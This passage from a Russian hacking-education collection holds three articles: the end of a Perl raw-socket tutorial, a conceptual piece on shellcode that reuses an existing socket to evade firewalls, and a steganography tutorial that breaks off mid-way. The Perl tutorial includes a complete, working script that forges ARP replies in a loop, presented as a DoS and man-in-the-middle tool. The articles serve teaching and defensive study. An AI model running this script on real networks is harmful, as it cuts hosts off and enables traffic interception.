Далее необходимо открыть packet socket. Для этого служит уже знакомая вам функция socket(). Сначала скажем, что мы будем пользоваться семейством так называемых «пакетных» сокетов (семейство PF_PACKET). В качестве типа сокета может указываться значение SOCK_PACKET (необработанные пакеты, включающие заголовок канального уровня), SOCK_RAW (обработанные пакеты с удаленным заголовком канального уровня, но включающие заголовок сетевого) и SOCK_DGRAM (заголовок сетевого уровня удален). Мы хотим принимать пакеты со всеми заголовками, поэтому остановим свой выбор на SOCK_PACKET. Получим что-то наподобие этого:
socket(SOCKET, PF_PACKET, SOCK_PACKET, $protocol);
Осталось только определиться с используемым протоколом. Нам хочется принимать абсолютно все пакеты, проходящие мимо нашей сетевой карты. Ищем в source-файлах что-нибудь подходящее. В файле /usr/include/linux/if_ether.h находим запись:
#define ETH_P_ALL 0x0003 /* Every packet (be careful!!!)*/
Отлично! Это как раз то, что нужно! Поэтому в поле protocol указываем значение ETH_P_ALL, которое соответствует всем протоколам Ethernet. В итоге рождается строчка:
socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n";
Как обычно, пробуем запуститься. О ужас!!! Наша программа вылетела с ошибкой:
Can't open packet socket: Address family not supported by protocol
Очевидно, PERL опять не знает этих констант. Идем в /usr/include/linux/socket.h и находим строчку:
#define PF_PACKET AF_PACKET
Я ожидал несколько другого. Вместо числового значения стоит еще одна константа. Что ж, посмотрим чему она равна. В том же заголовочном файле чуть раньше видим запись:
#define AF_PACKET 17
Классно! Теперь вместо PF_PACKET пишем значение 17, а лучше – определим в начале программы константу PF_PACKET:
use constant PF_PACKET => 17;
Осталось определить значение SOCK_PACKET. В /usr/include/asm/socket.h находим то, что нужно:
#define SOCK_PACKET 10 /*linux specific way of getting packets at the dev level*/
Снова дописываем в программу строчку:
use constant SOCK_PACKET => 10;
И чтобы наша программа опять не вылетела, запишем в нее еще одну константу, которую мы уже находили – ETH_P_ALL:
use constant ETH_P_ALL => 0x0003;
Наконец-то можно начинать читать данные из сокета. Для этого в PERL служит функция:
recv (socket, buffer, length, flags);
В поле "length" пишем установленный MTU + 14 байт на Ethernet заголовок. Как правило, MTU = 1500, значит максимальный размер фрейма равен 1514, поэтому в поле "length" большее число указывать не нужно.
Все эти преобразования выливаются в следующий код:
Текст программы на языке PERL

#!/usr/bin/perl

use Socket;
use constant PF_PACKET => 17;
use constant SOCK_PACKET => 10;
use constant ETH_P_ALL => 0x0003;

socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n";
while (){
    recv (SOCKET, $buf, 1514, 0);  		#читаем пакет
    print unpack ("H*", $buf), "\n\n"; 	#и выводим его в hex
}
Ради сравнения посмотрим на аналогичный код на C:
Текст программы на языке C
#include <linux/socket.h>
#include <asm/socket.h>
#include <linux/if_ether.h>

int sock = socket (PF_PACKET, SOCK_PACKET, ETH_P_ALL);
char buffer[1514]; 	//размер кадра Ethernet
while (read (sock, buffer, 1514) > 0)
    printf ("I catch packet\n");

Отправка пакетов через packet socket

Теперь у нас есть программа, способная захватывать Ethernet-кадры. Но мы еще не умеем отправлять их, мы пока не обладаем тем могуществом, которым обладают люди, умеющие отправлять в сеть произвольные пакеты. Так давайте научимся этому.

Подопытным протоколом пусть будет протокол ARP – Address Resolution Protocol (RFC 826). Этот протокол занимается разрешением IP-адреса в MAC-адрес в сети Ethernet.

            0               1               2               3
            0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |	       Hardware type       |          Protocol type        |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           | Hardware size | Protocol size |	     Operation code	   |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |			       Sender MAC Address		   |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |       Sender MAC Address      |	  Sender IP Address        |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |       Sender IP Address  	   |	 Target MAC Address        |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |                           Target MAC Address	           |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |                           Target IP Address	           |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

С этим протоколом связана известная атака, носящая название ARP-spoofing. Эта атака может использоваться для DoS'а ("отказ в обслуживании"): атакующий отправляет хосту поддельный ответ ARP, в результате IP-адресу маршрутизатора подсети ставится в соответствие несуществующий МАС-адрес. Доверившись этой информации, хост оказывается изолированным. Те кадры, которые он после этого отправляет в другой сегмент, не могут его покинуть. Второе назначение этой атаки – Man-in-the-middle (MITM).

Попробуем проделать что-то подобное. Наша задача заключается в отправке ответа ARP с произвольными MAC и IP-адресами. Приступим к ее реализации.

Как обычно, подключаем модуль Socket.pm:
use Socket;
Из прошлой программы скопируем константы, которых PERL не знает:
use constant PF_PACKET => 17;
use constant SOCK_PACKET => 10;
use constant ETH_P_ALL => 0x0003;
К ним добавим еще одну – номер протокола ARP:
use constant ARP => 0x0806;
После этого можно смело вызывать функцию создания сокета:
socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n";
Теперь нам снова надо собирать пакет. Для начала заполним заголовок Ethernet:

            0               1               2               3
            0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |                           Target MAC Address	           |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |       Target MAC Address      |	   Sender MAC Address      |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |			       Sender MAC Address		   |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
           |              Type             |
           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Обнулим переменную, содержащую будущий пакет
$packet = undef;
Далее необходимо записать MAC-адрес получателя. Предположим, что MAC-адрес получателя 00:01:02:03:04:05
@split = split (':', '00:01:02:03:04:05');
$packet .= pack ('H*', join ('',@split));
где функция split () разбивает строку на массив по заданному шаблону, а функция join () объединяет этот массив в строку. Далее идет уже известная вам упаковка по шаблону 'H*'. Аналогичные операции проведем с MAC-адресом отправителя. Скажем, что мы отправляем с адреса 06:05:04:03:02:01
@split = split (':', '06:05:04:03:02:01');
$packet .= pack ('H*', join ('',@split));
Чтобы заголовок Ethernet был окончательно заполнен, не хватает только типа используемого протокола. Так давайте укажем его! Пишем:
$packet .= ARP;
где константа ARP содержит двухбайтовый номер протокола ARP. Эту константу мы определили раньше.Переходим к заполнению ARP пакета. В типе оборудования напишем 0x0001 (используем ARPHRD_ETHER – Ethernet 10/100Mbps). И положим это в пакет:
$packet .= pack ("H4", '0001');
В типе протокола напишем номер протокола IP (0x0800).
$packet .= pack ("H4", '0800');
Так как нам необходимо получить MAC-адрес, то в поле "Hardware size" укажем 6 байт:
$packet .= pack ("C", 6);
А в поле "Protocol size" пишем 4 байта (ведь мы используем IPv4).
$packet .= pack ("C", 4);
Так как мы хотим провести DoS атаку, то нам необходимо будет отправлять reply ARP-пакеты. Поэтому пишем:
$packet .= pack ("H4", '0002');
В заключение, указываем MAC- и IP-адреса источника и приемника:
@split = split (':', '06:05:04:03:02:01');
$packet .= pack ('H*', join ('',@split));
$source_ip = '10.0.0.254';
$result_source_ip = undef;

for (split('\.', $source_ip)){ 		#разбиваем по точкам
    $result_source_ip .= pack ("C", $_)
}

$packet .= $result_source_ip;

@split = split (':', '00:01:02:03:04:05');
$packet .= pack ('H*', join ('',@split));
$destination_ip = '10.0.0.11';
$result_destination_ip = undef;

for (split('\.', $destination_ip)){ 	#разбиваем по точкам
    $result_destination_ip .= pack ("C", $_)
}

$packet .= $result_destination_ip;
И пакет готов. Можно попробовать его отправить, но неожиданно возникает проблема: в man'е к пакетным сокетам написано, что сам сокет описывает структура sockaddr_ll:
struct sockaddr_ll{
    unsigned short sll_family;  //семейство протоколов
    unsigned short sll_protocol;//используемый протокол (будем использовать ETH_P_IP - 0800)
    int sll_ifindex; 	     	//индекс сетевого устройства
    unsigned short sll_hatype;  //идентификатор оборудования (Ethernet). Например, ARPHRD_ETHER.
    unsigned char sll_pkttype;  //тип пакета. Например, PACKET_OTHERHOST - назначение - другой хост
    unsigned char sll_halen; 	//длина адреса (ETH_ALEN - MAC-адрес Ethernet)
    unsigned char sll_addr[8]; 	//MAC-адрес
};
Если с помощью pack () заполнить ее и написать в send, программа вылетает с ошибкой. Лезем опять в man и читаем внимательнее. Оказывается, структура sockaddr_ll описывает SOCK_RAW пакеты, а SOCK_RAW "похожи, но не совместимы с SOCK_PACKET в Linux 2.0". А если попробовать описать пакетный сокет с помощью структуры sockaddr? Мы ее уже писали, выглядит она так:
struct sockaddr {
    sa_family_t     sa_family;     	//семейство протоколов
    char            sa_data[14];   	//14 байтов на описание этого семейства...
};
Пробуем:
$addr = PF_PACKET; #семейство
$iface = "eth0"; #используемое устройство
$socket = pack ('Sa14', $addr, $iface); #упаковываем все это в структуру
send(SOCKET, $packet, 0, $socket) or die "Can't send packet:$!\n";
и все работает!!!
Текст программы
#!/usr/bin/perl

use Socket;
use constant PF_PACKET => 17;
use constant SOCK_PACKET => 10;
use constant ETH_P_ALL => 0x0003;
use constant ARP => 0x0806;

socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n";

$addr = PF_PACKET;
$iface = "eth0";
$socket = pack("Sa14", $addr, $iface);

$packet = undef;

@split = split (':', '00:01:02:03:04:05');
$packet .= pack ("H*", join ('',@split));
$#split = -1;

@split = split (':', '06:05:04:03:02:01');
$packet .= pack ("H*", join ('',@split));
$#split = -1;

$packet .= ARP;
$packet .= pack ("H4", '0001');
$packet .= pack ("H4", '0800');
$packet .= pack ("C", 6);
$packet .= pack ("C", 4);
$packet .= pack ("H4", '0002');

@split = split (':', '06:05:04:03:02:01');
$packet .= pack ("H*", join ('',@split));

$source_ip = '10.0.0.254';
$result_source_ip = undef;
for (split('\.', $source_ip)){   	#разбиваем по точкам
    $result_source_ip .= pack ("C", $_)
}

$packet .= $result_source_ip;

@split = split (':', '00:01:02:03:04:05');
$packet .= pack ("H*", join ('',@split));

$destination_ip = '10.0.0.11';
$result_destination_ip = undef;
for (split('\.', $destination_ip)){   	#разбиваем по точкам
    $result_destination_ip .= pack ("C", $_)
}

$packet .= $result_destination_ip;

while( 1 ){
    send (SOCKET, $packet, 0, $socket) or die "Can't send packet:$!\n";
    sleep (1);
}
Теперь при помощи этой программы можно с легкостью подделывать чужие IP и MAC-адреса.

Заключение

Итак, мы научились работать с raw и packet sockets на языке PERL. И хотя PERL – скриптовый язык, сокеты в нем – достаточно мощное оружие. Но, к сожалению, для работы с низкоуровневыми сокетами он не очень активно используется. Возможно, дело в отсутствии документации и удобных модулей для работы с ними.

Литература

  1. Linux Kernel Source
  2. Linux Programmer's Manual
  3. RFC (Request for Comments).
  4. Ю.С. Лукач "Справочник Веб-разработчика".
  5. http://wikipedia.org


Создание канала связи при удаленном эксплоитинге

Авторы: DimmoBorgir и theShockwaveRider
dimmoborgir and theShockwaveRider ] you have no clue [ hackerdom.ru

  1. Intro
  2. Два обыденных способа создания канала связи
  3. Идеи другого подхода
  4. Соединение с определенного порта
  5. Использование идентификационной строки
  6. Уменьшение перебора
  7. Защита
  8. Outtro
  9. Disclaimer
  10. Список литературы

Intro

На сегодняшний день существует много различных типов уязвимостей, дающих возможность атакующему выполнять произвольную последовательность команд процессора на удаленной системе. Как правило, выполнение такой последовательности команд, называемой шеллкодом,приводит к созданию канала связи между удаленной системой и атакующим и к запуску командного интерпретатора, потоки ввода и вывода которого перенаправлены на этот канал связи.

Два обыденных способа создания канала связи

Наиболее распространены два варианта создания канала связи. В первом из них в результате выполнения шеллкода на удаленной системе начинает прослушиваться порт, заранее выбранный атакующим, к которому атакующий впоследствии подсоединяется и получает приглашение командного интерпретатора. В другом варианте атакующий заранее начинает прослушивать определенный порт на своей машине, а удаленная машина после выполнения шеллкода сама подсоединяется к атакующему. В обоих случаях происходит попытка создания нового канала связи, что чаще всего невозможно в случае грамотно настроенных на атакуемой машине так называемых сетевых экранов — систем контроля и фильтрации сетевых пакетов.

Идеи другого подхода

Гораздо большую опасность представляет третий способ установки связи с атакуемой машиной, позволяющий обойти сетевые экраны. Он заключается в использовании уже установленного сокетного соединения, по которому отправляется специально сформированный запрос, приводящий к исполнению шеллкода. Как правило, для сетевого экрана запрос атакующего к предоставляемым сервисам неотличим от запроса легитимного пользователя, поэтому установка соединения возможна.

Мы провели тщательное исследование и убедились, что описанная проблема действительно актуальна. В частности нами была доказана возможность реализации этой схемы для операционной системы Linux под архитектуру IA—32. В данной операционной системе доступ процесса к каналам связи, таким, как файлы и сокеты, осуществляется через дескриптор — неотрицательное четырех байтовое целое число. При этом подходе шеллкод должен уметь находить среди всех дескрипторов файлов и сокетов, имеющихся в распоряжении процесса, тот дескриптор, который соответствует сокетному соединению, установившемуся в результате посылки атакующим специально сформированного запроса. После отыскания этого дескриптора происходит стандартная процедура перенаправления стандартных потоков и запуска командного интерпретатора.

Соединение с определенного порта

Мы проанализировали два способа нахождения нужного дескриптора и методы борьбы с этим. Первый способ заключается в подключении атакующего к уязвимой машине с определенного порта. При выполнении шеллкода происходит поиск сокетного соединения, совершенного с этого порта. Это довольно простая схема, и защититься от возможного ее использования также просто. Установка маршрутизатора с NAT между уязвимым сервисом и атакующим решит проблему. В этом случае номер порта, с которого атакующий открывает соединение, не будет совпадать с номером порта, с которого происходит соединение с уязвимым сервисом.

Использование идентификационной строки

Второй способ заключается в следующем. Вслед за специально сформированным запросом, содержащим шеллкод, посылается некоторая идентификационная строка. При выполнении шеллкода происходит последовательный перебор дескрипторов с попытками неблокирующего чтения данных функцией recv, доступной в linux через системный вызов socketcall. В случае успешного получения данных, они сравниваются с идентификационной строкой, совпадение укажет на искомый дескриптор.

Уменьшение перебора

Стоит отметить, что атакующий может ограничить себе перебор, поскольку дескрипторы с нулевого по второй соответствуют стандартным потокам STDIN, STDOUT, STDERR. В некоторых случаях устройство уязвимых программ таково, что дескриптор можно угадать с большой вероятностью, например в случае сервиса, который делает системный вызов fork для обработки каждого нового клиента. Такие приложения крайне уязвимы, поскольку будут отсутствовать следы перебора, что затруднит распознавание атаки.

Защита

Для защиты от переполнения буфера могут применяться широко известные методы, такие как canary words, рандомизация адресного пространства или неисполняемый стек. Кроме изучения стандартных подходов мы разрабатываем свой, довольно перспективный на наш взгляд, метод защиты — нормализация протоколов. Заключается он в наблюдении за входящим и исходящим трафиком. Для каждого сервиса создается набор правил, описывающих формат допустимых входных и выходных данных. Команды, не удовлетворяющие правилам, блокируются и не допускаются до сервиса.

Outtro

Мы убедились, что действительно существуют техники установления канала, которые сложно пресечь, и продолжаем активную разработку своих методов защиты.

Disclaimer

В приложении приведен шеллкод, демонстрирующий идею с идентификационной строкой. Мы его не комментируем во избежание использования людьми, мало осведомленными в данной тематике, в деструктивных целях. А тем, кому интересно, наверняка не привыкать к дизассемблеру ;) Мы не несем ответственность за использование материалов данной статьи в противозаконных целях. Мы не распространяем вредоносный код, а всего лишь показываем вам строку из некоторых байтов.

Список литературы

  1. Linux man pages.


Стеганография. Скрытие информации в изображениях

Автор: kost
kost [ @ hackerdom ] . ru

  1. Введение
  2. Идеология
  3. Прах времен
  4. Формальности
  5. Маленькие шалости
  6. Шаманим с BMP
  7. Аццкий JPEG
  8. Финал-апофеоз водобачкового инструмента
  9. Полезные ссылки

Введение

В этой статье я постараюсь сделать небольшой экскурс в историю развития стеганографии, осветить основные ее аспекты, особенно подробно остановлюсь на скрытии информации в изображениях, приведу пример простейшей программы, которая прячет данные в изображениях формата .bmp, разберу идею формата .jpeg и укажу место, где в нем возможно спрятать информацию. И, наконец, упомяну пару забавных простеньких примеров скрытия данных на вашем домашнем компьютере, о которых не все знают.

Идеология

В настоящее время, проблема обеспечения конфиденциальности хранимых и, особенно, пересылаемых данных стала чрезвычайно острой. Первая мысль, которая приходит, когда начинаешь думать о закрытости данных – это шифрование. То есть представление данных в таком виде, в котором, не зная ключа, их невозможно было бы понять. Эти данные можно более или менее безопасно хранить и пересылать по общедоступным каналам связи. Такой способ защиты информации, называемый криптографической защитой (криптографией), широко используется как в компьютерной, так и в других сферах жизни человеческого общества. Цель криптографии состоит в блокировании несанкционированного доступа к информации путем шифрования содержания секретных сообщений. Мы же поговорим о другом варианте обеспечения конфиденциальности данных – о стеганографической защите (стеганографии).

Идея стеганографии состоит в том, чтобы скрыть сам факт сокрытия какой-либо информации. При этом оба способа можно объединить и использовать вместе, для повышения эффективности защиты информации (например, при передаче криптографических ключей).

Прах времен

Методы стеганографии можно проследить с древних времен. Например, в Древней Греции для письма служили деревянные дощечки, покрытые сверху воском. И использовали иногда такое ухищрение: соскабливали воск с дощечки – выскребывали послание на дереве – а потом вновь наносили сверху воск. Ну и, например, уже на воске можно было выскрести какое-нибудь ложное (fake) послание. Или ничего не выскребать – таблички бы выглядели чистыми и не вызывали бы подозрений.

Хорошо известны различные способы скрытого письма между строк обычного, не защищаемого текста: от применения молока (Россия знает об этом способе по ухищрениям дедушки Ленина ;) ) до использования сложных химических реакций с последующей обработкой для прочтения.

Другие методы стеганографии включают использование микрофотоснимков, незначительные различия в написании рукописных символов, маленькие проколы определенных напечатанных символов и множество других способов по скрытию истинного смысла тайного сообщения в открытой переписке.

Вспомним еще раз про передачу посланий с использованием постороннего текста (книги, газетной статьи, письма, …). И здесь простор для фантазии просто огромен: скрытый текст может считываться по первым буквам слов (принцип акростиха) или определяться по заранее оговоренному правилу. После изобретения общепринятых кодов (например, азбуки Морзе) стало возможным распознавать секретный текст по длинам слов. Например: 4-5 букв — тире, 5-6 букв — точка, 7 и более — пробел, менее 4 букв — игнорируются.

Ну, а собственно причиной, по которой статья посвящена именно компьютерной стеганографии, является появление и бурное развитие computer science в последние полвека. И именно компьютерная техника раскрывает все возможности, всю неисчерпаемую глубину и интересность этой проблемы. То, о чем во Вторую Мировую войну мечтали воюющие стороны, стало обыденной реальностью сейчас. Современный прогресс в области глобальных компьютерных сетей и средств мультимедиа привел к разработке новых методов, предназначенных для обеспечения безопасности передачи данных по каналам телекоммуникаций и использования их в необъявленных целях. Эти методы, учитывая естественные неточности устройств оцифровки и избыточность аналогового видео или аудио сигнала, позволяют скрывать сообщения в компьютерных файлах (контейнерах). Причем, в отличие от криптографии, данные методы скрывают сам факт передачи информации.

Формальности

Я приведу основные понятия стеганографии, с которыми столкнулся на просторах Интернета, когда готовился к докладу на семинаре Хакердом в УрГУ осенью 2006 г. Сразу скажу, что я здесь не буду останавливаться на прочих понятиях и абстракциях (типа файл, формат, мультимедиа, алгоритм, байт, …). В современной компьютерной стеганографии существует два основных типа файлов: сообщение — файл, который предназначен для скрытия, и контейнер — файл, который может быть использован для скрытия в нем сообщения. При этом контейнеры бывают двух типов. Контейнер-оригинал (или “Пустой” контейнер) — это контейнер, который не содержит скрытой информации. Контейнер-результат (или “Заполненный” контейнер) — это контейнер, который содержит скрытую информацию. Под ключом понимается секретный элемент, который определяет порядок (алгоритм) занесения сообщения в контейнер. Направления развития стеганографии следующие:

  1. Методы, основанные на использовании специальных свойств компьютерных форматов;
  2. Методы, основанные на избыточности аудио и визуальной информации.

Сейчас, наверное, стоит наконец-то приостановить поток вываливаемой на читателя теории – ибо она может показаться скучной и не относящейся к делу. Приведем же наконец-то практический пример (он касается первого направления):

Маленькие шалости

Очень распространены 2 следующих формата: rar и jpeg. В первом хранятся заархивированные данные. Второй используется для хранения данных, сжатых по алгоритму сжатия изображений jpeg. Если внимательно приглядеться к их внутреннему устройству (я не буду здесь приводить точную спецификацию), то можно заметить, что в самое начало файла можно вставить практически любую информацию – она будет игнорироваться программами-архиваторами (winrar, к примеру) – так как они пропускают все до тех пор, пока не натолкнутся на определенную метку. То есть если сообщение не содержит такой метки в качестве какой-либо своей подпоследовательности, то коллизий не возникнет. Ну, а формат jpeg предусматривает хранение длины файла, и из-за этого программы для просмотра изображений игнорируют какое-либо сообщение, вставленное в конец файла. В связи с этим представляется любопытным провести следующий эксперимент:

Попробовать взять какое-нибудь изображения в формате jpeg и дописать в конец него rar-архив. Мы увидим, что все действительно работает так, как нам хотелось бы – при просмотре файла, например с помощью ACDSee, нам открывается наше изображение. А при попытке его разархивировать – все тоже проходит гладко, и мы спокойно себе получаем наше сообщение. Естественно можно на архив наложить шифрование – и получить таким образом «спайку» возможностей криптографии и стеганографии.

Скажем сразу и о втором нехитром способе утаить что-нибудь от не слишком пытливого взгляда на своем компьютере. А именно: хранить скрываемые данные в альтернативных потоках файловой системы NTFS. Любопытно то, что стандартные средства Windows (типа Проводника) не позволяют выявить наличие информации в этих потоках. Даже на показываемом размере файла не сказывается наличие информации в альтернативном потоке. К сожалению, этот способ не всегда пригоден при пересылке данных, ибо он основан на особенностях файловой системы NTFS (правда, уже упомянутый выше winrar умеет сохранять альтернативные потоки). А редактировать потоки можно хоть в том же Блокноте Windows (если это текст) – нужно лишь знать имя потока – и набрать в cmd примерно следующее:

notepad 1.txt:имя_альтернативного_потока

Еще раз повторю, что это далеко не единственный способ. Кроме того, в зависимости от настроек Windows, версии, у вас может получиться, а может и нет этот фокус с потоками (через блокнот). При попытке скопировать такой файл на устройство с файловой системой, не поддерживающей потоки (например, на флеш-диск) или же по сети (не берусь утверждать ничего про различные протоколы, но вот с SMB я проверял) – вам высветится сообщение о том, что информация в сопутствующих потоках может быть потеряна. Кстати, таким образом можно узнать, содержит ли такие потоки, и если да, то какие, подозрительный файл.

Шаманим с BMP

Выше было упомянуто и второе направление стеганографии, а именно: методы, основанные на избыточности аудио и визуальной информации . Поговорим сейчас о них. В сети можно найти массу подсчетов, сколько информации можно "дополнительно" сохранить в данном изображении/видео/звуковом файле… Давайте немного осветим вопрос о способах хранения этих данных в цифровом виде. Представляется очевидным, что в компьютерах все конечно и дискретно. В связи с этим мы храним лишь отдельные части изображений/звуков/… В простейшем варианте (формат bmp = bitmap picture) изображение хранится как матрица (таблица) значений оттенков цвета для каждой точки хранимого изображения. Это означает, что изображение разбивается на прямоугольник из точек и для каждой точки хранится ее цвет. Ну и, разумеется, он хранится не как длина его волны (вспоминаем немного физику), а как комбинация из трех оттенков (красного, зеленого и синего цветов - это называется схема смешения RGB) которые необходимо "смешать" для того чтоб получить наш исходный цвет. Сразу следует оговориться, что здесь и далее я буду иметь в виду ту часть формата bmp, которая предусматривает хранение трех байт на каждый пиксель изображения (то есть не рассматриваются такие, безусловно, важные и востребованные вещи, как прозрачность, палитры цветов и прочее). Таким образом, каждая из трех компонент (их еще называют каналами цвета), хранясь в одном байте, может принимать значения от 0 до 255 включительно. Особенность нашего зрения заключается в том, что мы достаточно терпимо относимся к незначительным колебаниям цвета. Это значит, что мы не заметим разницы между цветами, соответствующими значениям, отстоящим друг от друга в пределах 3. Например, 140 и 142. Разумеется, у разных людей эта допустимая погрешность будет варьироваться, но соседние значения (скажем, 120 и 121) вряд ли кто-либо сможет различить. Изменение каждого из трех наименее значимых бит (в трех каналах соответственно) приводит к изменению менее чем на 1% интенсивности данной точки. А это, в свою очередь означает, что наименее значащий бит (тут от читателя потребуется понятие о двоичной арифметике и представлении целых чисел в компьютере) мы можем изменять по своему усмотрению. Это называется принцип "наименее значащих битов" = Least Significant Bits. Если отбросить в расчетах, обычно незначительную относительно размера изображения, служебную информацию в начале файла, то получаем следующую картину. Мы имеем возможность дополнительно хранить сообщение размером в 1/8 размера контейнера ("размазанную" по последним битам в каждом байте матрицы цветов пикселей) или же размером в 1/4 контейнера (соответственно при использовании 2 последних битов в байтах). Это, согласитесь, немало. Мною была написана на С++ простенькая программа, реализующая эту идею. Она предназначена лишь для демонстрации и далеко не идеальна (к примеру, информация о размере сообщения хранится в зарезервированных разработчиками стандарта байтах – что приводит к невозможности извлечения сообщения обратно после банального просмотра изображения и сохранения его (не внося изменений), так как графические редакторы заполняют, согласно стандарту, нулями эти поля). Исходники (под Visual Studio 6) прилагаются.

Аццкий JPEG

Все это было бы хорошо, если б не столь малая распространенность этого формата при передачи изображений по сети. Связано это с тем, что в изображениях, вообще говоря, много избыточности и поэтому они хорошо ужимаются, особенно алгоритмами архивации с потерями. Наиболее распространен в данный момент формат JPEG (Joint Photographic Experts Group). Здесь уже не получится такой фокус, так как этот формат намного более сложный, нежели bmp. В нем применяются специальные алгоритмы преобразования цветовых пространств, архивации, квантования. Но обо всем по порядку.

Получение изображения в формате JPEG из сетки пикселей проходит в несколько этапов:
  1. Вообще мы будем работать не со всем изображением сразу, а с его частями – кусочками 8x8 пикселей. То есть для начала разбиваем исходное изображение на такие подизображения, как изображено на рисунке 1 (Здесь и далее иллюстрации взяты с wikipedia.org).
    Рис. 1. Кусочки изображения 8x8 пикселей
    Рис. 1. Кусочки изображения 8x8 пикселей
  2. Преобразование цветового пространства: [R G B] -> [Y Cb Cr] (R,G,B - 8-битовые величины без знака)
        | Y  |     |  0.299      0.587      0.114  |   | R |     | 0 |
    | Cb |  =  | -0.1687    -0.3313     0.5    | * | G |  +  |128|
    | Cr |     |  0.5       -0.4187    -0.0813 |   | B |     |128|
    (от читателя требуется представление о перемножении матриц)

    Новая величина Y = 0.299*R + 0.587*G + 0.114*B названа яркостью. Это – величина, используемая монохромными мониторами, чтобы представить цвет RGB. Физиологически, передает интенсивность цвета RGB, воспринятого глазом. Видно, что формула для Y похожа на средневзвешенное значение с разным весом для каждого спектрального компонента: глаз наиболее чувствителен к зеленому цвету (G), затем следует красный (R) компонент и в последнюю очередь – синий (B).

    Величины
        Cb = - 0.1687*R - 0.3313*G + 0.5   *B + 128 и
    Cr =   0.5   *R - 0.4187*G - 0.0813*B + 128
    названы цветовыми величинами и представляют 2 координаты в системе, которая измеряет оттенок и насыщение цвета ([Приближенно] эти величины указывают количество синего и красного в этом цвете). Эти 2 координаты кратко названы цветоразностью.

    Глаз, особенно сетчатка, имеет как визуальные анализаторы два типа ячеек: ячейки для ночного видения, воспринимающие только оттенки серого (от ярко-белого до темно-черного) и ячейки дневного видения, которые воспринимают цветовой оттенок. Первые ячейки (их называют палочками), обнаруживают уровень яркости, подобный величине Y. Другие ячейки(их называют колбочками), ответственные за восприятие цветового оттенка, - определяют величину, связанную с цветоразностью. Они, соответственно бывают 3-х видов – воспринимающие лучше красный, зеленый и синий цвета.

  3. Дискретизация.

    Кроме всего прочего, глаз более чувствителен к яркости света, нежели чем к оттенку. Поэтому разумно брать значение яркости для каждого пикселя. А значения цветоразности – например среднее для блока 2x2. То есть на каждые 4 пикселя одно. Разумеется, это необязательно, но почти всегда применяется, так как ведет к незначительным потерям качества с точки зрения восприятия картины глазом человека.

  4. Сдвиг уровня

    Все 8-битовые величины без знака (Y,Cb,Cr) в изображении - "смещенные по уровню": они преобразовываются в 8-битовое знаковое представление вычитанием 128 из их величины. Возьмем некоторый пример. Пусть у нас есть такая матрица (рис. 2), описывающая одну из компонент Y, Cb или Cr.

    Рис. 2. Матрица описывающая одну из компонент Y, Cb или Cr.
    Рис. 2. Матрица описывающая одну из компонент Y, Cb или Cr.
    После сдвига уровня соответственно:
    Рис. 3. После сдвига уровня.
    Рис. 3. После сдвига уровня.
  5. 8x8 Дискретное Косинусоидальное (Косинусное) Преобразование (DCT)

    Цель DCT-трансформации в том, что вместо обработки исходных изображений, Вы работаете с пространством частот изменения яркости и оттенка. Эти частоты очень связаны с уровнем детализации изображения. Высокие частоты соответствуют высокому уровню детализации. Я не буду вдаваться в детали – они потребуют много знаний из области высшей математики, да и займут много скучного места. Коротко объяснить суть не получится – просто поверьте, что все так, как написано. Скажу лишь, что DCT-трансформация очень похожа на 2-мерное преобразование Фурье, которое получает из временного интервала (исходный блок 8x8) частотный интервал (новые коэффициенты 8x8=64, которые представляют амплитуды проанализированного частотного пространства).

    После этого преобразования мы получим другую матрицу – и в ней уже элементы будут так расположены, что наибольшие по модулю скопятся в левом верхнем углу – они будут нести в себе бОльшую часть информации – низкие частоты. А по мере продвижения к правому нижнему – важность элементов будет уменьшаться – высокие частоты.

    Рис. 4. без названия
    Рис. 4. без названия
  6. Квантование

    Именно на этом этапе мы и терпим почти все потери – но именно этот этап и дает нам возможность затем так хорошо сжать информацию. По определенной заранее матрице квантования происходит деление элементов нашей матрицы соответственно на элементы матрицы квантования. Она имеет следующий вид:

    Рис. 5. Матрица квантования
    Рис. 5. Матрица квантования

